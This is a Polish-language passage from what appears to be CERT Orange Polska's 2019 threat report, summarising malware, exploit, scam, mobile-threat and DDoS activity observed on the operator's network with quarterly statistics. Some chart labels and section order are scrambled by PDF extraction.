wany w wariantach Botnetów Miraia i Gafgyta do dystrybucji 
ataków DDoS dodatkowo powiększając szeregi tych 
Botnetów o kolejne urządzenia zombie.

Ataki socjotechniczne oraz malvertising zaliczyły 
niewielki spadek w stosunku do ostatniego kwartału 
2018 r., jednocześnie zajmując stabilną pozycję wśród 
najczęstszych zagrożeń wyłudzających dane osobowe, 
wykradających poświadczenia, a także przekierowujących 
na strony serwujące złośliwy kod.

Funkcjonalności narzędzia Nanocore

W roku 2019 CERT Orange Polska zidentyfikował blisko 
5 milionów zdarzeń związanych ze złośliwym oprogramo-
waniem czyli ponad 1,1 miliona więcej niż w roku 2018. 

Tak jak w latach ubiegłych dane zostały zgromadzone  
z sond bezpieczeństwa analizujących sieć kliencką. 
Sondy monitorujące umieszczono w reprezentatywnych 
segmentach sieci szerokopasmowej stacjonarnej 
i mobilnej. Powyższe dane są uzupełnione informacjami 
zebranymi w procesie threat huntingu oraz wzbogacone 
wynikami pracy wykonanej przez analityków i ekspertów 
w Orange Polska.

CERT Orange Polska zidentyfikowane zagrożenia związane 
bezpośrednio lub pośrednio z aktywnością złośliwego  
oprogramowania dzieli na trzy grupy:

• Malware object: dostarczenie do stacji końcowej 
złośliwego oprogramowania np. poprzez załącznik  
z wykonywalnym skryptem.

• Web infection: infekcje z wykorzystaniem podatności 
przeglądarki za pomocą Exploit Kitów, a także wszelkie 
fałszywe strony nakłaniające użytkownika do pobrania 
i wykonania złośliwego kodu pod pretekstem aktuali-
zacji/naprawy swojego oprogramowania. 

• Malware callback: potwierdzenie skutecznego urucho-
mienia złośliwego kodu poprzez zestawienie komunikacji  
sieciowej z serwerem zdalnego zarządzania (w celu  
pobrania dodatkowego kodu, bądź przekazania 
wykradzionych informacji).

Aktywność złośliwego oprogramowania w sieci 
Orange Polska
Z roku na rok ogólna świadomość społeczeństwa związana 
z zagrożeniami spotykanymi w internecie rośnie. Coraz większa część 
użytkowników spotyka się z próbami oszustw i wyłudzeń, a mass media 
przestały traktować cyberataki jako temat tabu. Wiele przedsiębiorstw 
organizuje swoim pracownikom szkolenia z cyberbezpieczeństwa 
lub odnajduje w swoich budżetach środki na produkty bezpieczeństwa, 
usługi lub wykwalifikowany personel.  Czy wystarczające? Absolutnie 
nie. Świat nie stoi w miejscu, a dynamiczny rozwój nowych technologii 
i pogoń za przełomowymi funkcjonalnościami zdaje się nieustannie 
wyprzedzać próby ich zabezpieczenia.

Wektory infekcji złośliwym 
oprogramowaniem w roku 2019

60%
26%
14%

Malspam
Infekcje przeglądarkowe
Inne

Malware Callback

2 408 906  

Malware Object

267 664  

Web Infection

251 421
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Najczęściej występujące 
zdarzenia w 1Q 2019 roku1

1 Z powyższych zestawień wykluczone zostały sieci martwych Botnetów oraz złośliwe oprogramowanie z rodziny downloaderów
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Na pozycji najczęściej nawiedzającego Polskę złodzieja 
danych i poświadczeń uplasował się Lokibot, którego 
kolejna aktualizacja również pozwoliła na dostarczenie 
payloadu w postaci pliku graficznego. W tym jednak 
przypadku technika przemycenia kodu polegała na 
wykorzystaniu podatności w charakterystyce struktury 
plików PNG, które pozwalają na umieszczenie dodatkowych 
danych już po linii IEND oznaczającej koniec składni 
obrazu. W ten sposób dodatkowe archiwum z właściwym 
malwarem mogło zostać uruchomione, złośliwy kod 
wstrzyknięty do pamięci RAM komputera ofiary, 
a komunikacja z serwerem C2 otwarta. 

Podobnie jak o tej samej porze roku 2018 i w tym nie 
zabrakło ataków MageCart, wykorzystujących złośliwe 
skrypty JS do kradzieży danych kart kredytowych ofiar, 
odwiedzających zainfekowane i przejęte internetowe 
sklepy. Tym razem jednak zmieniono nieco formę 
ataku, wymuszając na użytkowników wpisanie danych 
karty dwukrotnie. Pierwszy raz na stronie sklepu 
w celu kradzieży danych, a potem po raz drugi w celu 
faktycznego potwierdzenia tożsamości w serwisie 
transakcyjnym. 

Wśród najczęściej wykorzystywanych podatności, 
jak przez większość półrocza, dominował ThinkPHP 
Exploit. To właśnie w tym kwartale pojawił się następca, 
który miał go w przyszłości zdetronizować. Bluekeep 
(CVE-2019-0708), bo o nim mowa został opublikowany 

jako kluczowa podatność umożliwiająca zdalne 
wykonanie kodu w usługach pulpitu zdalnego systemu
Windows. I podobnie jak na świecie, tak również 
i w Polsce próby wykorzystywania podatności - explo-
itowania bluekeepa, trzykrotnie przebiły całą swoją 
konkurencję w segmencie podatności.

Wiosna 2019 roku to także wzrost aktywności scamo-
wych. Wiodąca kampania polegała na wykorzystaniu 
usług chmurowych Microsoftu – Azure App Service 
do masowego generowania stron wyłudzających dane, 
w czym prym wiodły fałszywe strony techniczne samego 
Microsoftu. Ostrzegały one użytkowników o infekcji 
wirusem, do którego usunięcia należało pobrać inny plik, 
hostowany oczywiście w Chmurze Microsoftu – Azure 
Blob Storage. Wszystko zaś odbywało się w białych 
rękawiczkach i pod znakiem zielonej kłódki podpisanej 
certyfikatem Microsoftu.

Po zamknięciu CoinHive wydawało się, że CoinMinery 
na stałe znikną z zestawienia TOP10. Nic bardziej 
mylnego. Znaczny wzrost notowań Bitcoina na giełdzie 
przyciągnął przed terminale przestępców wykradających 
portfele BitCoinowe lub zwyczajnie zasoby komputera 
przy wykorzystaniu socjotechnicznych fraudów 
i malvertismentu. 

Ostatnią rzeczą o jakiej należy wspomnieć w drugim kwartale 
2019 r. jest pożegnanie GandCraba, którego developerzy 
po 18 miesiącach aktywnej i bez wątpienia owocnej pracy 
(ponad 2 miliardy dolarów zysku z otrzymanych okupów) 
wycofali z rynku usług ransomware-as-a-service. 
Ten najbardziej popularny ransomware 2018 roku w sieci 
Orange doczekał się jednak następcy – ransomware’a 
Sodinokibi. I choć Sodinokibi nie miał głośnego debiutu 
w roku 2019, sam malware opracowany był o wiele 
staranniej niż GandCrab gdy pierwszy raz opuścił swoje 
laboratorium.

3. kwartał 2019
Tak jak drugi kwartał 2019 r. był ukształtowany przez 
zniknięcie Emoteta z aktywnej listy dystrybuowanych 
zagrożeń, tak kwartał trzeci wyróżniał się z powodu 
powrotu tego złośliwego oprogramowania we wrześniu. 
W skali kwartalnej odnotowano wzrost liczby zdarzeń 
o 120%. Główna w tym zasługa olbrzymiej kampanii 
malspamowej która nawiedziła sieć Orange Polska. 
Przeszła już ona do historii zarówno ze względu 
na rekordową liczbę unikalnych próbek (ponad 25% 
wszystkich próbek analizowanych w ciągu 3Q, tylko 
w 2 tygodnie aktywności), bardzo szeroki zasięg 
przeprowadzonej kampanii i, co za tym idzie, liczbę 
wykrytych infekcji w ciągu pierwszych dwóch tygodni 
ataku (średnio co czwarty zarejestrowany atak dochodził 
do etapu dostarczenia dodatkowego payloadu).

Najczęściej występujące 
zdarzenia w 2Q 2019 roku

Ph
is

h.
Sc

am

To
ol

.C
oi

nM
in

er

Tr
oj

an
.E

m
ot

et

Bo
tn

et
.M

ira
i

Tr
oj

an
.U

rs
ni

f

Tr
oj

an
.D

an
ab

ot

Tr
oj

an
.T

ric
kb

ot

Tr
oj

an
.L

ok
ib

ot

Ba
ck

do
or

.n
jR

AT

3% 3%4% 
5%

6%
7%

10%

21%

2%

O ransomware słów kilka

Z początkiem roku 2019 ransomware po raz pierwszy od 6 miesięcy zaliczył wzrost swojej aktywności 
w sieciach klientów indywidualnych zaburzając stopniową tendencję przekształcania tego narzędzia w broń 
skierowaną przeciw dużym korporacjom czy instytucjom sektora publicznego. 

Aktorem odpowiedzialnym za tę anomalię był wywodzący się z nie tak wcale dalekiego wschodu Shade 
aka Troldesh. 

W latach poprzednich liczba rodzin ransomware’u powiększała się niczym dług publiczny aż do roku 2018, gdzie 
wymuszoną innowacyjność postanowiono zastąpić usprawnieniem sprawdzonych wcześniej rozwiązań. 
W ten sposób na światowy rynek w styczniu 2019 r. wrócił Shade, ransomware pobierany w spakowanym w archi-
wum skrypcie. Te dość staroświeckie metody dostarczenia złośliwego kodu na stacje ofiary nie przeszkodziły mu  
w prześcignięciu GandCraba na liście najczęstszych rasnomware’ów w Polsce na przestrzeni kwartału i całego roku.

Niemniej aktywność Troldesha w sieci klienckiej stanowi raczej pochodną od szkód jakie spowodował wśród 
firm i instytucji publicznych w Stanach Zjednoczonych, Niemczech i na Ukrainie. 

Dlaczego? Bo liczy się jakość, a nie ilość. Ransomware może dostać się na stacje bezpośrednio poprzez 
wykorzystanie podatności w atakowanym celu lub zostać dostarczony przez inne oprogramowanie z rodziny 
downloaderów czy backdoorów w dogodnym dla siebie terminie, pozwalając uprzednio zebrać informacje 
na temat atakowanego celu, jego infrastruktury czy stopnia wrażliwości przechowywanych danych. Dopiero 
namierzając właściwy cel o odpowiednio głębokich kieszeniach, ransomware jest dostarczany na urządzenia 
ofiary. Tak było w przypadku Ryuka, dystrybuowanego przez Emoteta. Tak było w przypadku Ransomware 
BitPaymera, dostarczanego przez Dridexa i tak będzie w wielu kolejnych przypadkach niezależnie 
od właściwego wektora odpowiedzialnego za jego propagację.

Koniec pierwszego kwartału to też jedna istotna zmiana 
na rynku kryptowalut. Pomimo wysokich przychodów 
oscylujących około 1 mln złotych miesięcznie i niemalże 
kompletnej wyłączności na rynku przeglądarkowych 
koparek kryptowalut, serwis Coinhive ogłosił 26 lutego 
wyłączenie swoich usług z uwagi na ich nierentowność, 
spowodowaną niską wartością rynkową waluty Monero  
i zmianami w algorytmie spowolniającymi proces „kopania”.

Na efekt nie trzeba było długo czekać. Od początku 
marca stopniowo rejestrujemy spadek aktywności przeglą-
darkowych koparek, zgodnie z przewidywaniami, zamykając 
sagę skryptów monetyzujących. Natura nie znosi jed-
nak próżni i w miejsce CoinHive’a, w tym samym okresie 
rozpoczyna się stopniowy wzrost narzędzi dostarcza-
nych bezpośrednio na stacje użytkowników w celu wydo-
bycia wartości z jej wykorzystanych zasobów, który 
swój szczyt zanotuje dzięki wykorzystaniu podatności 
Bluekeepa kilka miesięcy później.

2. kwartał 2019
Najistotniejszą zmianą w środowisku cyberzagrożeń 
drugiego kwartału było zniknięcie Emoteta z grupy 
aktywnych zagrożeń z końcem maja 2019 roku. 
To też okres, w którym zarejestrowaliśmy najmniej 
incydentów w sieci Orange Polska w roku 2019 

(spadek o 25% w porównaniu do kwartału pierwszego). 
Wakacyjna przerwa Emoteta skumulowała się ze wzrostem 
trojanów bankowych i wykradających dane infostealerów 
(kategoria malware’u). Wśród tych pierwszych dominował 
Ursnif aka IFSB/Gozi, wyprzedzając znacząco zarówno 
Danabota jak i Trickbota. Blisko co trzeci banker w sieci 
Orange Polska można było identyfikować z infekcją 
Ursnifa, ustalając tym samym trend, który będzie konty-
nuowany w drugiej połowie roku. Sam kod, obchodzący 
już dziesięciolecie, przeszedł kolejne zmiany w swojej 
strukturze, wzbogacając się o dodatkową metodę 
zaciemnienia danych – obfuskację powersellowego 
skryptu szyfrem Vigenere, a także techniki steganografii 
pozwalającej na ukrycie złośliwego kodu w rzeczywistym 
pliku graficznym poprzez manipulacje i konkatenacje 
(łączenie) dwóch bitów LSB (Leat Significant Bits) 
z każdego bajta pobranego obrazka. Kolejne udoskona-
lenia i łączenia logiczne zakodowanych na różne sposoby 
fragmentów powershellowego kodu sprawiły, że od 
momentu uruchomienia skryptu do faktycznej próby 
dostarczenia payloadu, skrypt przechodził (w zależności 
od wersji systemu Windows) nawet do dziesięciu poszcze-
gólnych etapów.
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Keitaro TDS – czyli alternatywna metoda dostarczania złośliwego oprogramowania
Systemy TDS (Traffic Direction System) to internetowe bramki przekierowujące ruch użytkowników do określonych 
zasobów sieciowych na podstawie szeregu warunków i filtrów. Warunki te pozwalają na dokładniejsze profilow-
anie użytkowników pozyskując atrybuty, takie jak geolokalizacja, nazwa dostawcy usług, wykorzystywany system 
operacyjny czy przeglądarka. Legalne instytucje, takie jak Keitaro wykorzystują swoje systemy w celu optymalizacji 
dostarczania kampanii reklamowych do potencjalnie najbardziej zainteresowanych źródeł.

Opisane powyżej możliwości systemów TDS stanowią atrakcyjny cel do nadużyć zarówno w kampaniach click-
fraudowych, jak i w groźniejszych malvertismentowych łańcuchach przekierowań, wykorzystujących legalną usługę 
i paczki Exploit Kitów do uniknięcia wykrycia przy dostarczeniu złośliwego oprogramowania na urządzenia ofiary. 

Jak przebiega więc cała infekcja? Użytkownik, klikając w link reklamowy Keitaro, jest przekierowany na stronę 
malvertisingową, która przekierowuje jego ruch na kolejną witrynę z osadzonym exploit kitem serwującym złośliwy 
skrypt VBS czy JS. Warto wspomnieć, że wszystkie odwiedzane po kolei strony mogą zawierać absolutnie wiary-
godne treści, co sprawia, że infekcja jest nie tylko trudna do wykrycia, ale i zablokowania.

W sieci Orange mechanizm ten szczególnie upodobały sobie złośliwe oprogramowania, wykradające dane  
i poświadczenia, w tym AzorUlt, Predator, Vidar, KPot, ale także Gootkit czy Danabot.

4. kwartał 2019
Końcówka roku, choć zdominowana przez Emoteta, 
była świadkiem aktywności innych powracających za-
grożeń. To w 4. kwartale 2019 r. odnotowaliśmy największą 
liczbę zdarzeń w skali roku (wzrost o ponad 200% 
w stosunku do kwartału poprzedniego), a obok Emoteta 
skuteczne kampanie malspamowe przeprowadzały także 
grupy odpowiedzialne za Ursnifa (podszywając się między 
innymi pod operatora Play) czy Backdoor Netwire 
(podszycia pod ZUS). 

Oprogramowaniem, które najbardziej skorzystało na 
zasięgu Emoteta był trojan bankowy Trickbot aka Trik. 
Jako najczęściej dostarczany malware w procesie infekcji, 
Emotetem zastąpił Zeusa Pandę, który pełnił tę rolę w 
roku 2018. Trickbot podobnie jak większość rozwijanych 
malware’ów, składa się z osobnych modułów, dostarcza-
nych na stacje ofiary w postaci bibliotek dll. Oprócz 
podstawowej funkcji wstrzykującej do przeglądarek kod 
przechwytujący połączenia użytkownika do serwisów 
bankowych, Trickbot rozbudowany został m.in. o funkcję 
kradzieży danych z przeglądarek, rozpoznawania otocze-
nia sieciowego, kradzieży danych uwierzytelniających 
z systemu operacyjnego czy możliwości propagacji 
po protokołach LDAP i SMB. 

4. kwartał to także czas aktualizacji trojana Gafgyta. 
Gafgyt aka Bashlite który zadebiutował w roku 2014, 
namierzał podatne urządzenia sieciowe do przeprowadza-
nia ataków DDoS. Podobnie jak inny Botnet dystrybuujący 
DDoS-y Mirai, zyskał na znaczeniu wraz ze wzrostem 
liczby „inteligentych” urządzeń domowych czy zarządza-
nych sieciowo kamer i systemów DVR. Tym razem 
Gafgyt atakował nie tylko rutery i inne sieciowe urządzenia 
domowe, ale także konkurencję. Jeśli chodzi o urządzenia 
sieciowe, Gafgyt korzystał z nienowych już podatności 
na urządzenia Zyxela (CVE-2017-18368), Huaweia 
(CVE-2017-17215) oraz Realteka (CVE-2014-8361). 
W przypadku infekcji urządzeń ioT – Gafgyt wykonuje 

symultanicznie kilka ataków DDoS w celu nieautoryzo-
wanego dostępu do sekcji zarządzania sprzętem. 
Dodatkowym celem ataków Gafgyta są serwery pracujące 
na silniku VSE od firmy Valve, umożliwiające rozgrywki 
sieciowe dla graczy. Po skutecznej fazie infekcji, malware 
wykonywał jeszcze jedną funkcję wyróżniającą go spośród 
podobnych narzędzi – usuwał wszystkie inne rootkity 
Botnetów, którymi zainfekowane było urządzenie, 
przejmując na wyłączność kontrolę nad sprzętem ofiary.

W sektorze wyłudzeń kwartał czwarty nie okazał się inno-
wacyjny, jednak wartym odnotowania faktem jest wysyp 
tak zwanych fake newsów czyli fałszywych wiadomości, 
prezentujących sylwetki znanych celebrytów i sportowców, 
zachwalających konkretny produkt czy usługę. Całość 
opakowana w wiele obrazków, odniesień do fałszywych 
komentarzy z mediów społecznościowych czy popular-
nych programów telewizyjnych (np. Kuba Wojewódzki 
Show), nakłaniała w omawianym przez nas przypadku 
do rejestracji w programie BitCoin millionaire. Rejestracja 
jest rzecz jasna płatna, a szans na zarobek, jak można 
się domyślić, nie ma wcale. W taki sposób wykorzystano 
wizerunek m.in. Roberta Lewandowskiego, Kamila 
Stocha, Krzysztofa Piątka, Marcina Prokopa czy Huberta 
Urbańskiego.

Kalendarzowa jesień 2019 r. to też okres kolaboracji 
blukeepa i koparek kryptowaluty Monero. Był to pierwszy 
przypadek wykorzystania podatności na szeroką skalę 
w celu infekcji niezaktualizowanych urządzeń złośliwym 
oprogramowaniem. Dostarczony na serwery zakodowany 
payload uruchamiał skrypt w powershellu pobierający 
właściwe narzędzie kopiące. Sam skrypt nie posiadał 
funkcji propagującej go na inne urządzenia, ale dostępność 
narzędzi do wyszukiwania i namierzania serwisów 
z niezałataną podatnością sprawiła, że atak trafił na 
bardzo podatny grunt. W sieci Orange Polska nie 
odnotowano zwiększenia liczby ataków z wykorzystaniem 
CVE-2019-0708, ale przeszło 30% z nich nosiło znamiona 
infekcji narzędziem kopiącym kryptowalutę Monero.

Gdy grupa TA542 odpowiedzialna za propagowanie 
Emoteta wznowiła kampanię 16 września, na skrzynki 
mailowe użytkowników trafiły starannie opracowane 
spear-phishingi, modyfikowalne w zależności od 
geograficznej lokalizacji celu, instytucji zaufania publicznego 
danego regionu czy bieżących wydarzeń na świecie 
(np. phishing z okazji publikacji książki Snowdena). 
Te wszystkie znane historycznie techniki TA542 połączyła 
z wykorzystaniem rzeczywistych e-maili przechwyconych 

ze skrzynek ofiar w wyniku wcześniejszych kampanii. 
Takie maile, podszywające się pod nadawcę, 
z którego skrzynki zostały wykradzione, były przesyłane 
do uczestników konwersacji wraz z załączonym 
dokumentem inicjującym infekcję.

Samo oprogramowanie nie przeszło po reaktywacji 
drastycznych zmian. Tym, co się zmieniło, była praktycznie 
całkowita rezygnacja z wykorzystania własnego modułu 
bankowego na rzecz oprogramowania grup współpra-
cujących (przede wszystkim Trickbota). Rezygnacja 
z modułów bankowych, dywersyfikacja typowo
botnetowych funkcji i nieustannie poszerzanie infrastruktury 
serwerów C2 stanowiąnajlepszą wizytówkę największej 
w tej chwili usługi malware-as-a-service na świecie.

W sektorze podatności na pozycji lidera umocnił się 
BlueKeep. Dalszy etap wzrostu ataków podyktowany 
był publicznym pojawieniem się exploitów w dwóch 
najpopularniejszych pentesterskich frameworkach:
Immunity Canvas i Rapid7 Metasploit.

W trzecim kwartale na scenę zagrożeń w większym 
stopniu niż dotychczas wkroczyły Botnety SPAMowe, 
takie jak Pushdo czy Phorpiex. Szczególnie ten drugi 
przypadek jest interesujący, bo to właśnie Phorpiex 
ava SDBot odpowiadał za wysyłkę tysięcy wiadomości 
malspamowych z wykorzystaniem techniki Sextortion. 
Sextortion to zabieg socjotechniczny, którego celem jest 
wyłudzenie pieniędzy od użytkownika pod pretekstem 
upublicznienia kompromitujących zdjęć i filmów video 
wykonanych rzekomo bezpośrednio z kamery zainfeko-
wanego komputera ofiary. Aby wzmocnić wiarygodność, 
przestępcy dodawali przechwycone hasła (niekoniecznie 
aktualne), zgromadzone w wyniku publikowanych 
regularnie masowych wycieków danych, a nawet 
fragmenty pornograficznych filmów.

Najczęściej występujące 
zdarzenia w 3Q 2019 roku

Aktywność zagrożeń typu Fileless w sieci Orange
Malware bezplikowy to złośliwe oprogramowanie istniejące wyłącznie jako artefakt w pamięci systemu infeko-
wanego urządzenia. Nie pozostawia śladów swojej aktywności na dysku ofiary, czyniąc systemy detekcji bazujące 
na sygnaturach kompletnie bezużytecznymi. Ponadto bezplikowce pozostawiają w zainfekowanym systemie 
bardzo mało ewidencji, które można by wykryć stosując nawet zaawansowane narzędzia do analiz powłama-
niowych. Klasyczną metodą uruchomienia infekcji jest wykorzystanie powershellowego skryptu do przeprowadzenia 
wstrzyknięcia pobranego z zewnętrznej domeny kodu prosto do uruchomionego procesu w pamięci urządzenia. 
I choć możliwe jest przeprowadzenie pełnego etapu infekcji bez pozostawienia na dysku ofiary choćby śladu, 
najczęstszym wyzwaniem tego scenariusza jest samo dostarczenie inicjalnego skryptu do atakowanego systemu. 
Znaczna część zidentyfikowanych przez Orange Polska infekcji opierała się na kampaniach malspamowych 
osadzających skrypt w vbs-ie złośliwego dokumentu. 

Fizyczne pliki pojawiały się również w procesie eksfiltracji danych podczas komunikacji z serwerami zdalnego 
zarządzania. Do rodzin malware’u wykorzystujących przynajmniej częściowo egzekucję złośliwego oprogramo-
wania w postaci bezplikowej należą bankery IceDid i Ursnif, Kovter Stealer, czy koparka Monero Pcastle.
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Podsumowanie roku 2019 
w sieci stacjonarnej
Zestawienie ogólne po raz kolejny potwierdza, że jeśli 
chodzi o cyberzagrożenia, użytkownicy polskiego 
internetu są narażeni na te same metody ataków i rodziny 
złośliwego oprogramowania, co nasi zachodni sąsiedzi. 
Co interesujące, bardzo wiele kampanii (Danabot, Ursnif 
czy Netwire RAT) było niemal zbieżne w terminach 
przeprowadzania kampanii i wykorzystanej infrastruktury 
C2 do zagrożeń raportowanych przez włoskich threat 
hunterów i organy bezpieczeństwa. 

W związku z tym nikogo nie powinno dziwić, że modu-
larny trojan Emotet aka Heodo stanowił co piątą infekcję 
wykrytą w sieci Orange. Zwłaszcza w ostatnim kwartale 
tego roku kompletnie zdominował scenę złośliwego 
oprogramowania, zalewając świat setkami maili dziennie 
z wykorzystaniem różnych socjotechnicznych metod 
na przekonanie użytkownika do uruchomienia dokumentu 
ze skryptem vbs, od którego z reguły rozpoczynały się 
kolejne etapy infekcji ofiary. Wedle szacunków Orange 
Polska około 30% unikalnych przeanalizowanych próbek 
dostarczały na urządzenia końcowe właśnie Emoteta, 
ponad dziesięciokrotnie więcej niż drugi w kolejności 
Brushaloader.

Większy niż w roku poprzednim i stale rosnący udział 
we wszystkich zagrożeniach mają także Botnety 
biorące na cel systemy operacyjne niepracujące pod 
szyldem Microsoftu. Obecność na liście Miraia i Gafgyta 
dobitnie pokazuje jak duże znaczenie ma przykładanie 
wagi do bezpieczeństwa urządzeń domowego użytku. 
Od ruterów zaczynając, na lodówkach i pralkach kończąc. 
Z kolei koparki kryptowalut, choć nadal zachowały miejsce 
na liście najczęściej rejestrowanych zagrożeń, przeszły 
w roku 2019 interesującą ewolucję. I choć zamknięcie 
projektu CoinHive odbiło się na liczbie zarejestrowanych 
zdarzeń (niemal pięciokrotnie) to jednak dzięki wzrostowi 
kursu BitCoina, nowym metodom dystrybucji narzędzi 
kopiących (filmy w serwisie YouTube z linkami do instrukcji 
jak zarobić fortunę na BitCoinie, scamy w serwisach 
chmurowych), a także podatnościom takim jak Bluekeep, 
możemy być pewni, że jeszcze długo nie zapomnimy 
o Cryptojackingu.

2019 był rokiem zdominowanym przez Emoteta. 
Jak udowodniliśmy w raporcie, nie tylko to jedno 
zagrożenie brało znaczący udział w ukształtowaniu 
krajobrazu cyberzagrożeń, które przyniósł nam schyłek 
dekady. Za rok przekonamy się, jakie nastąpią zmiany.

Najczęściej występujące zdarzenia 
infekcji w roku 2019

Rodzaje zagrożeń wykrywanych 
w 2019 roku
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Złośliwe oprogramowanie 
w sieci mobilnej

Zagrożenia w sieci mobilnej stanowią już powyżej 40% wszy-
stkich zidentyfikowanych w sieci Orange Polska. W porówna-
niu do ubiegłego roku liczba zagrożeń wzrosła niemalże 
dwukrotnie (o ponad 900 tysięcy sklasyfikowanych zdarzeń), 
a ich przekrój z roku na rok coraz wierniej odzwierciedla 
rodzaje złośliwego oprogramowania w sieci stacjonarnej.

W kontekście podziału na systemy operacyjne nie zanoto-
waliśmy relatywnie żadnej zmiany w porównaniu z rokiem 
ubiegłym, ale biorąc pod uwagę znaczny wzrost liczby 
zagrożeń mobilnych, rzeczywista liczba zagrożeń na smart-
fony i tablety spod znaku jabłka wzrosła o ponad 70%. 
iOS choć nigdy nie był platformą kompletnie pozbawioną 
zagrożeń, w związku z jego hermetycznie zamkniętym 
środowiskiem, o wiele trudniej spenetrować niż inne systemy 
operacyjnie niezależnie od platformy sprzętowej. Niemniej 
rok 2019 przyniósł m.in. publikacje dwóch podatności Zero-Day 
(CVE-2019-7286, CVE-2019-7287) i kilkunastu już znanych, 
które w połączeniu ze sobą pozwalały na dostarczenie 
złośliwego oprogramowania na urządzenie ofiary. Innym 
przykładem niech będzie 17 aplikacji zidentyfikowanych 
w AppStorze wyposażone w iOS.Clickera, który oprócz 
funkcji wyświetlania niechcianych reklam, pozwalał 
na szpiegowanie użytkowników, a nawet przeprowadzenie 
ograniczonej rekonfiguracji ustawień telefonu. 

Podobny w charakterystyce działania, tylko namierzający 
systemy Android, HiddenAd był bezdyskusyjnym numerem 
jeden wśród złośliwego oprogramowania na urządzenia 
mobilne. Podobnie jak w przypadku niezabezpieczonego 
Appstore’a, HiddenAd mógł zostać dostarczony na urzą-
dzenie ofiary poprzez niezweryfikowane aplikacje w sklepie 
GooglePlay. Warto jednak opowiedzieć o innej interesującej 
metodzie, która na szerszą skalę zadebiutowała w sieci 
Orange Polska w połowie roku i posłużyła do dostarczenia 
na urządzenia mobilne takich zagrożeń jak bankowy 
Cerberus, wielofunkcyjna Triada czy HiddenAd właśnie.

Cyberprzestępcy wykorzystali starą podatność służącą m.in.
przy kopaniu kryptowalut – Fake jsquery. Fake jsquery polega 
na infekcji internetowych witryn powiązaniem do hostowa-
nego na zewnętrznej infrastrukturze JS’a. Jednakże w odróż-
nieniu od innych kampanii wykorzystujących tę metodę do wy-
zwolenia jednej konkretnej akcji, aplikowany skrypt jest o wiele 
bardziej wyrafinowany. W tym wypadku zawartość strony 
wyświetlana użytkownikowi końcowemu potrafiła różnić się 
w zależności od geolokalizacji urządzenia i jego user-agenta, 
posiadającego identyfikator systemu operacyjnego ofiary. 
Tak oto użytkownicy Windowsa w Polsce, trafiali na inną 
stronę niż użytkownicy ze Stanów Zjednoczonych, a właściwą 
aplikację byli w stanie pobrać przez łańcuch przekierowań, 
reklam i socjotechniki tylko posiadacze Androida.

Drugie miejsce na liście TOP 5 złośliwego oprogramowania 
mobilnego w sieci Orange zajmuje bezdyskusyjnie kolejny 
z pozoru niegroźny Trojan – Guerilla.  Guerilla pochłania 

Malware Callback

1 495 211  

Malware Object

239 336  

Web Infection

312 407 

Najczęściej występujące 
złośliwe oprogramowanie 
w sieci mobilnej w 2019 roku

Wystąpienia infekcji mobilnych według 
systemu operacyjnego ofiary

zasoby urządzenia i wyczerpuje baterie poprzez agresywne 
wykorzystywanie technik click-fraudowych do monetyzacji 
uruchamianych bez zgody użytkownika reklam. Na tym 
funkcjonalności Guerrilli się nie kończą. Dzięki backdoorowej 
architekturze, jest w stanie zdalnie dostarczyć i uruchomić 
zewnętrzny payload, dodając tym samym urządzenie ofiary 
do znacznie szerszego Botnetu. 

Rootnik aka Rooter i Triada to zagrożenia, które utrzymały 
swoją pozycję z roku 2018. Jak wskazuje sama nazwa, 
Rootnik stanowi najbardziej popularny rootkit, pozwalający 
atakującemu na przejęcie uprawnień do infekowanego urzą-
dzenia. Triada to z kolei wielofunkcyjny backdoor, posiadający 
moduły do uruchamiania niechcianych reklam, wykradania 
danych z telefonu czy wykonywania bankowych webinjectów. 
Swoją długowieczność zawdzięcza zaś pośrednio firmie 
Google, a bezpośrednio podwykonawcom jej podwykonaw-
ców, którzy podczas łańcucha produkcyjnego zainfekowali 
część telefonów zanim te wydostały się nawet z fabryki.

Zestawienie zamyka BankBot aka Anubis, znany już dobrze 
Polakom trojan bankowy podszywający się pod różne 
zaufane aplikacje, a który po kolejnych aktualizacjach jest 
w stanie przechwycić operacje realizowane w 188 instytu-
cjach finansowych. Oprócz tego developerzy wyposażyli 
go w moduł AnubisCrypt, umożliwiający zaszyfrowanie plików 
zapisanych na urządzeniu i kartach SD. Co ciekawe Anubis 
jest w stanie otrzymywać instrukcje i polecenia od zarządza-
jącego nim cyberprzestępcy poprzez media społecznościowe 
(np. Twitter) czy komunikatory tekstowe (np. Telegram).

Wykres „Rodzaje zagrożeń w sieci mobilnej wykrywane 
w 2019 roku” w zestawieniu do analogicznego prezen-
tującego zagrożenia w sieci stacjonarnej stanowi idealne 
podsumowanie metod dystrybucji ataków i dostosowania 
ich do bardziej podatnego urządzenia. Przeszło trzy czwarte 
wymierzonych w sieć mobilną ataków stanowiły szeroko 
pojęte wyłudzenia (kampanie Sexortion na ekskluzywną 
nagrodę), podszycia (pod celebrytów opowiadających
o BitCoinach, pod legalne aplikacje w sklepie Google) 
po zwykłe oszustwa (Fake jquery, click-fraudy). Jest to 
podyktowane zarówno architekturą sposobu wyświetlania 
aplikacji i witryn (na mniejszym ekranie i przy ukrytych 
szczegółach ułatwiających rozpoznanie oszustwa), jak 
i większą częstotliwością użytkowania (smartfony 
wyłączamy rzadziej niż komputery osobiste), co stanowi 
idealną pożywkę dla koparek kryptowalut, aplikacji 
malvertismentowych i kampanii smishingowych.

Rodzaje zagrożeń w sieci mobilnej 
wykrywane w 2019 roku
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Ataki odmowy dostępu do usługi (Distributed Denial of 
Service – DDoS) to jedne z najprostszych i najbardziej popu-
larnych ataków na sieć lub system komputerowy, a zarazem 
jedne z bardziej niebezpiecznych i groźnych w skutkach. 
Ich głównym celem jest utrudnienie, bądź uniemożliwienie 
korzystania z oferowanych przez zaatakowany system usług 
sieciowych i w efekcie paraliż infrastruktury ofiary poprzez 
masowe wysyłanie zapytań do zaatakowanej usługi.

Na przełomie 2018 i 2019 roku Orange Polska wdrożył 
w swojej infrastrukturze nowe mechanizmy ochrony przed 
atakami DDoS. Wtedy zaobserwowano znaczne nasilenie 
liczby i siły ataków.  Jednak brak ich skuteczności spowo-
dował, że w perspektywie roku trend związany z atakami 
jest zdecydowanie malejący. Ich nasilenie widać jedynie w 
okresie świąt, wakacji i „długich weekendów” – to potwierdza 
nasze obserwacje, że przeważająca większość ataków jest 
związana z chęcią wyeliminowania uczestników z gier online.

W przypadku ataków DDoS na użytkowników biznesowych 
– w dalszym ciągu są one ukierunkowane na określone cele 
(serwisy firmowe) i obliczone na osiągnięcie konkretnych 
rezultatów. Więcej na temat ataków DDoS na klientów w 
artykule Krzysztofa Białka na stronie 73.

Ataki wolumetryczne na klientów sieci 
Orange Polska
